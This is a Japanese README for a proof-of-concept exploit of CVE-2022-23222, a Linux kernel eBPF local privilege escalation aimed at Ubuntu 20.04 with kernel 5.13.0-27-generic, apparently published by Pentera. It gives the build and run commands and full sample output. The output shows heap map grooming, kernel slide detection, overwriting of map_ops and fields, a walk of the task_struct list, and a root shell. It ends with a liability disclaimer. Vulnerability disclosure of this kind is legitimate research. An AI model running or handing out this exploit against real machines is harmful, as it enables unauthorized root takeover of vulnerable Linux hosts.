
これは CVE-2022-23222 の PoC です。これは Local Privilege Escalation(ローカル権限昇格)の脆弱性です。 この PoC はカーネルバージョン 5.13.0-27-generic の Ubuntu 20.04 用に作成されましたが、他のカーネルバージョンも影響を受けます。 エクスプロイトの詳細な分析については、write-up をお読みください。
エクスプロイトの前提条件として、libbpf がインストールされていることを確認してください。
POC をコンパイルするには、次のコマンドを実行します:
make
エクスプロイトを実行するには、次の実行ファイルを実行します:
./exploit
[+] eBPF enabled, ringbuf created!
[!] staring to create new maps until we get two consecutive maps
[+] created map 1
[+] generated random value: f2dec021c4bb41b7
[+] created map 2
[+] generated random value: 3d247a46c6ed75e4
[+] two new maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 3
[+] generated random value: 3214fb323b506766
[+] created map 4
[+] generated random value: 909d65f4ebe3bc9a
[+] eBPF enabled, maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 5
[+] generated random value: 6bd18dfb510e1f0f
[+] created map 6
[+] generated random value: 8bd7c8e518387c75
[+] eBPF enabled, maps created!
[+] value read from slab: 3214fb323b506766
[+] aligned map found in map 2
1: 6bd18dfb510e1f0f
2: 3214fb323b506766
[+] closing unnecessary_maps
[+] found map address: 0xffff94d44cf48800
[+] overriding map_ops
[+] detected kernel slide 11200000
[+] setting spin_lock = 0
[+] setting max_entries = 0xffffffff
[+] setting map_type = BPF_MAP_TYPE_STACK
[+] getting root
[+] iterating over task_struct list to find out process
[+] got it!
[+] cleaning up
[+] getting shell!
#
このアドバイザリに記載されているコード(以下「コード」)は、「現状のまま」および 「利用可能な状態で」提供され、バグ、エラー、その他の欠陥が含まれている可能性があります。 重要なデータを保護し、注意して使用することをお勧めします。このコードを使用することにより、 Pentera はコードに関連するいかなる請求についてもお客様に対して責任を負わないことに同意するものとします。 Pentera は、直接的、間接的、付随的、懲罰的、典型的、特別、または結果的な損害について、たとえ Pentera またはその関連当事者がそのような損害の可能性について通知を受けていたとしても、一切の責任を負いません。 Pentera は、コードまたはこのアドバイザリを更新する義務を負いません。